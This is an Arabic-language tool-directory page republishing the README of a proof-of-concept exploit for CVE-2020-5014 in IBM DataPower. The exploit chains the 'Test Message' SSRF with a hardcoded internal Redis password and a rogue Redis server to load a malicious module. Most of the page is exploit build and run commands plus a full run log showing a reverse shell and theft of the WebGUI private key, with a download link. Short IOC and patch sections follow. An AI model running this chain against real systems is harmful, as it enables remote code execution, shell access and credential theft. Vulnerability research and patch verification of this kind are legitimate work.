Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
datapower-redis-rce-exploit — إثبات مفهوم (POC) لاستغلال ثغرة تنفيذ الأوامر عن بُعد (RCE) في IBM Datapower المُصادَق عليها عبر إساءة استخدام وظيفة رسالة الاختبار (CVE-2020-5014) | Kitploit
أدوات/GitHubGitHub/copethomas/datapower-redis-rce-exploit
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

إثبات مفهوم (POC) لاستغلال ثغرة تنفيذ الأوامر عن بُعد (RCE) في IBM Datapower المُصادَق عليها عبر إساءة استخدام وظيفة رسالة الاختبار (CVE-2020-5014)

عرض المستودعالموقع الإلكتروني
221منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

datapower-redis-rce-exploit (CVE-2020-5014)

برهان إثبات (PoC) لاستغلال RCE في Redis عبر IBM DataPower مع مصادقة، من خلال إساءة استخدام وظيفة "Test Message".

poc_demo

الشرح الكامل والعرض على يوتيوب

مقالة المدونة على tomcope.com

الشرح

باستخدام وظيفة "إرسال رسالة اختبار" المتاحة عبر جلسة مصادقة في واجهة WebGUI الخاصة بـ DataPower، يمكن تنفيذ هجوم SSRF ضد خادم Redis الداخلي لـ DataPower. خادم Redis الداخلي محمي بكلمة مرور، لكن يبدو أنه يستخدم كلمة مرور ثابتة (hardcoded). يمكن بعد ذلك دمج ذلك مع ثغرة RCE الموجودة مسبقاً في Redis لتنفيذ تعليمات برمجية عشوائية بصلاحيات المستخدم drouter داخل نظام تشغيل Linux الأساسي لـ DataPower.

بدء سريع

  1. استنساخ هذا المستودع
  2. ترجمة الوحدة البرمجية:
    • cd RedisModulesSDK/dpredisshell/
    • make
  3. ترجمة كود Golang
go build
  • التحقق من الخيارات
    • ./datapower-redis-rce-exploit -h
  • تشغيل الأداة
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8
  • مثال

    فيما يلي مثال عملي لتشغيل DataPower عبر Docker والأداة محلياً عبر localhost:

    1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
    2. سجّل الدخول إلى DataPower باسم المستخدم admin وكلمة المرور admin
    3. قم بالإعداد عبر WebGUI:
    root@kitploit:~
    idg# config
    Global mode
    idg(config)# web-mgmt
    Modify Web Management Service configuration
    
    idg(config web-mgmt)# admin-state enabled
    idg(config web-mgmt)# exit
    idg(config)# write mem
    Overwrite previously saved configuration? Yes/No [y/n]: y
    Configuration saved successfully.
    idg(config)# exit
    idg# 
    
    1. تحقق من أن WebUI يعمل:
    root@kitploit:~
    idg# show web-mgmt
    
    web-mgmt [up] 
    --------
     admin-state enabled 
     ip-address 0.0.0.0 
     port 9090 
     save-config-overwrite on 
     idle-timeout 600 Seconds
     acl web-mgmt  [up]
     ssl-config-type server 
     enable-sts on 
    
    idg# 
    
    1. افتح نافذة طرفية جديدة
    2. استنساخ هذا المستودع
      • git clone https://github.com/copethomas/datapower-redis-rce-exploit
    3. ترجمة الوحدة البرمجية:
      • cd RedisModulesSDK/dpredisshell/
      • make
    4. ترجمة كود Golang
      • cd ../../
      • go build
    5. حمّل كلمة مرور redis الداخلية في صدفة الأوامر. (اقرأ الشرح لمزيد من التفاصيل)
    root@kitploit:~
    $ read DPREDISPASSWD
    apples
    $ echo $DPREDISPASSWD
    apples
    
    1. تشغيل الأداة:
    root@kitploit:~
    $ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
    Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
    Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
    Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
    FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
    FakeRedis - 2020/10/18 23:34:29 Online and Ready!
    Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
    Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
    Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
    Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
    Main      - 2020/10/18 23:34:29 Datapower Login Complete!
    Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Accepting connection...
    FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Uploading module...
    FakeRedis - 2020/10/18 23:34:29 Upload Complete!
    Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
    Main      - 2020/10/18 23:34:29 Performing clean up...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
    FakeRedis - 2020/10/18 23:34:29 Connection Closed
    Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
    Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:30 Accepting connection...
    Main      - 2020/10/18 23:34:30 Got Reverse Shell!
    Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    id
    uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
    ps -ef
    UID          PID    PPID  C STIME TTY          TIME CMD
    drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
    drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
    drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
    drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
    drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
    drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
    drouter       63      61  0 22:34 pts/0    00:00:00 
    find / -name webgui-privkey.pem 2>/dev/null
    /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    -----BEGIN PRIVATE KEY-----
    MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT
    

    IOCs

    أثناء الاستغلال، سيسجّل DataPower أخطاء url-open متعددة مع عنوان redis الداخلي. ويعود ذلك إلى أن redis لا يرد بتنسيق XML المتوقع من DataPower.

    root@kitploit:~
    18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'
    

    الإصلاح / التصحيح

    تم الإصلاح في الإصدارين 10.0.1.2 و 2018.4.1.15

    • https://www.ibm.com/support/pages/node/6426789
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

    روابط وشكر

    • https://github.com/n0b0dyCN/redis-rogue-server - للنسخة Python من هذه الأداة ووحدة Redis exp.c
    • https://github.com/RicterZ/RedisModules-ExecuteCommand - لوحدة Redis الأصلية
    • https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf - لاكتشاف ثغرة RCE في Redis

    الاكتشاف الأصلي بواسطتي (Thomas Cope) في 21 أكتوبر 2020 - تم الإبلاغ عبر Hackerone إلى IBM

    تنزيل الأداة